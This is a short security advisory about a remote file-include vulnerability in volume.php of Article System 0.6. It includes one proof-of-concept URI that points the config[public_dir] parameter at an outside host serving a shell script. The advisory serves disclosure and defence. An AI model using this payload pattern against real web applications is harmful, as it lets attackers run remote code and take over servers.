Article System Volume.PHP Remote File Include Vulnerability

Bugtraq ID:	20892
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 03 2006 12:00AM
Updated:	Nov 06 2006 06:12PM
Credit:	GregStar <gregstar[at]c4f[dot]pl> is credited with the discovery of this vulnerability.
Vulnerable:	Article System Article System 0.6
Not Vulnerable:

Article System Volume.PHP Remote File Include Vulnerability

Article System is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Article System version 0.6 is vulnerable; other versions may also be affected.

Article System Volume.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path]/volume.php?config[public_dir]=http://www.example2.com/shell?

Article System Volume.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Article System Volume.PHP Remote File Include Vulnerability

References:

• Vendor Homepage (Article System)